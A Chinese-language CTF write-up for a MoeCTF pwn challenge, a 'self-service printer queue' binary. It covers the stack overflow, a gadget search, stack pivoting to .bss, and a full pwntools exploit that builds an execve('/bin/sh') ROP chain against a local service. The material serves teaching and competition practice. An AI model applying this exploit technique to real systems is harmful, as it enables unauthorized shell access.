写在前面
图为新建的虚拟机
赫赫,最快的一集
6ay85L2s5LiA5Lq/5Liq5q+U6LWb5L2g5bCx5omT5ZCn
自助打印机
checksec
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: Nomain
int __fastcall main(int argc, const char **argv, const char **envp){ unsigned __int16 v4; // [rsp+Eh] [rbp-2h] BYREF
IO_setvbuf(stdin, 0, 2, 0); IO_setvbuf(stdout, 0, 2, 0); alarm(30); IO_puts("=== Self-Service Printer Queue ==="); IO_puts("[printer] Submit a two-byte little-endian print queue length."); IO_puts("[printer] Send print queue data:"); read_exact(&v4, 2); if ( v4 && v4 <= 0x400u ) { read_exact(&print_queue, v4); IO_puts("[printer] Print queue stored."); IO_puts("[printer] Confirm the print job with a 40-byte ticket:"); confirm_print_job(); return 0; } else { IO_puts("[printer] Invalid print queue length."); return 0; }}查看print_queue大小
readelf -sW ./printer_queue | grep -i print_queue 893: 00000000004a9a80 1024 OBJECT GLOBAL DEFAULT 21 print_queue看confirm_print_job
__int64 confirm_print_job(){ _BYTE v1[16]; // [rsp+0h] [rbp-10h] BYREF
read_exact(v1, 40); return IO_puts("[printer] Job confirmation accepted.");}明显溢出
现在找system以及/bin/sh
WSL找半天没找到
ROPgadget --binary ./printer_queue | grep -E 'syscall|pop rax|pop rdi|pop rsi|pop rdx'由于溢出后空间过小,所以我们考虑栈迁移
先放一下前置
ext:0000000000401878 ; __unwind {.text:0000000000401878 endbr64.text:000000000040187C push rbp.text:000000000040187D mov rbp, rsp.text:0000000000401880 sub rsp, 10h.text:0000000000401884 lea rax, [rbp+var_10].text:0000000000401888 mov esi, 28h ; '('.text:000000000040188D mov rdi, rax.text:0000000000401890 call read_exact.text:0000000000401895 mov edi, offset aPrinterJobConf ; "[printer] Job confirmation accepted.".text:000000000040189A call _IO_puts.text:000000000040189F nop.text:00000000004018A0 leave.text:00000000004018A1 retn.text:00000000004018A1 ; } // starts at 401878.text:00000000004018A1 confirm_print_job endp可以看到我们覆盖完saved rbp 和返回地址之后在leave; retn阶段才会使用被覆盖的 saved rbp 和返回地址
只要把写入地址空间改大,然后再用经典的ROP重新跳转回main再写入一遍,那不就好了
然后就是
strings -tx ./printer_queue | grep "/bin/sh"ROPgadget --binary ./printer_queue | grep "pop rax ; ret"ROPgadget --binary ./printer_queue | grep "pop rdi ; ret"ROPgadget --binary ./printer_queue | grep "pop rsi ; ret"ROPgadget --binary ./printer_queue | grep "pop rdx ; ret"ROPgadget --binary ./printer_queue | grep "syscall"ROPgadget --binary ./printer_queue | grep "leave ; ret"ROPgadget --binary ./printer_queue | grep "ret$"ctrl+F
pop rdi ; ret,pop rsi ; ret,pop rax ; ret,syscall
0x432e48 : pop rdi ; ret0x402b86 : pop rsi ; ret0x42149b : pop rax ; ret0x401324 : syscall这不就挺干净
ROP不就拼拼凑凑
.bss
readelf -S ./printer_queue | grep .bss [15] .tbss NOBITS 00000000004a3ed0 000a2ed0 [21] .bss NOBITS 00000000004a9a20 000a8a08main以及**confirm_print_job**,用于再一次跳回函数,毕竟只有一个read,第一次只能造成栈迁移,第二次才是真正攻击的时候
(base) dxfaker@LAPTOP-US9FCLPD:/mnt/d/ctf/flag/pwn/moectf/自助打印机/attachment$ readelf -s ./printer_queue | grep -E " main$| confirm_print_job" 133: 0000000000401878 42 FUNC LOCAL DEFAULT 7 confirm_print_job 1526: 00000000004018a2 217 FUNC GLOBAL DEFAULT 7 main现在是system以及/bin/sh搜索的事情
strings -tx ./printer_queue | grep "/bin/sh"(base) dxfaker@LAPTOP-US9FCLPD:/mnt/d/ctf/flag/pwn/moectf/自助打印机/attachment$呃,那我们直接考虑execve吧
x86-64:
rax = 59 # execve 系统调用号rdi = "/bin/sh" # 文件名指针rsi = 0 # argv = NULLrdx = 0 # envp = NULLsyscall现在还差一个rdx = 0
rdx的链不干净
0x4684fc : pop rdx ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
- 弹一个值给
rdx- 把
eax清零- 再弹 4 个垃圾值给
rbx、r12、r13、rbp
涉及rax相关,所以先考虑把rdx设置好,再把rax设置
那么就是
execve_chain = flat([ # rdx = 0,同时 eax 被清零 pop_rdx_xor_eax_pop4, 0, 0, 0, 0, 0,
# rax = 59 pop_rax, 59,
# rdi = binsh pop_rdi, binsh,
# rsi = 0 pop_rsi, 0,
# syscall syscall])现在就可以考虑第一步该怎么操作了
由于给的空间真的太小太小,所以第一步必然不考虑直接跑到.bss,而是想办法怎么构造出ROP

可以看到main的两个raed,一个写入内容太小,一个是滚木地址,那总得确认第二个是写入到哪的吧
bss:00000000004A9A20 __bss_start db ? ; DATA XREF: __do_global_dtors_aux+4↑r.bss:00000000004A9A20 ; __do_global_dtors_aux:loc_4017CA↑w.bss:00000000004A9A20 ; Alternative name is 'completed.1'.bss:00000000004A9A21 align 20h.bss:00000000004A9A40 object_0 db ? ; ; DATA XREF: frame_dummy+F↑o.bss:00000000004A9A41 db ? ;.bss:00000000004A9A42 db ? ;.bss:00000000004A9A43 db ? ;.bss:00000000004A9A44 db ? ;.bss:00000000004A9A45 db ? ;.bss:00000000004A9A46 db ? ;.bss:00000000004A9A47 db ? ;.bss:00000000004A9A48 db ? ;....bss:00000000004A9A80 public print_queue.bss:00000000004A9A80 print_queue db ? ; ; DATA XREF: main+AF↑o还有天然的写入,无敌了
那么就是先把ROP以及/bin/sh写入进去,然后再在 confirm_print_job 中栈迁移到 .bss,最后在.bss 上执行 execve("/bin/sh", 0, 0)
忘记说了,还有个bin的小巧思
因为
"/bin/sh\x00"这个字符串在内存里紧跟在 ROP 链的后面,所以它的地址 = ROP 链起始地址 + ROP 链长度。
但是呢,ROP链又得有
pop_rdi, binsh_addr那怎么办呢,只有天知道
你我都是懒鬼,不可能都直接把ROP长度算一遍对吧
那在python里面顺便算了不就好了
#只在 Python 内存里存在,用来算长度rop_part = flat([ 0, pop_rdx, 0, 0, 0, 0, 0, pop_rax, 59, pop_rdi, 0, pop_rsi, 0, syscall])binsh_addr = bss + len(rop_part)rop_chain = flat([ 0, pop_rdx, 0, 0, 0, 0, 0, pop_rax, 59, pop_rdi, binsh_addr, pop_rsi, 0, syscall]) + b"/bin/sh\x00"为什么一开始有一个0呢
回顾一下leave; ret
拆解中有一步pop rbp,这是在.bss上弹一个值给rbp,那总不能给他pop_rdx吧
那就放0占位好了
exp
from pwn import *
context.arch = 'amd64'context.log_level = 'debug'
bss = 0x4a9a80leave_ret = 0x401876
pop_rax = 0x42149bpop_rdi = 0x432e48pop_rsi = 0x402b86pop_rdx = 0x4684fcsyscall = 0x401324
rop_part = flat([ 0, pop_rdx, 0, 0, 0, 0, 0, pop_rax, 59, pop_rdi, 0, pop_rsi, 0, syscall])binsh_addr = bss + len(rop_part)argv_addr = binsh_addr + 8
rop_chain = flat([ 0, pop_rdx, 0, 0, 0, 0, 0, pop_rax, 59, pop_rdi, binsh_addr, pop_rsi, argv_addr, syscall]) + b"/bin/sh\x00" + p64(binsh_addr) + p64(0)
p = remote('127.0.0.1', 51356)
p.recvuntil(b"data:")p.send(p16(0x400))p.send(rop_chain.ljust(0x400, b'\x00'))
payload = b'A' * 16 + p64(bss) + p64(leave_ret)payload = payload.ljust(0x28, b'A')p.send(payload)
p.interactive()Some information may be outdated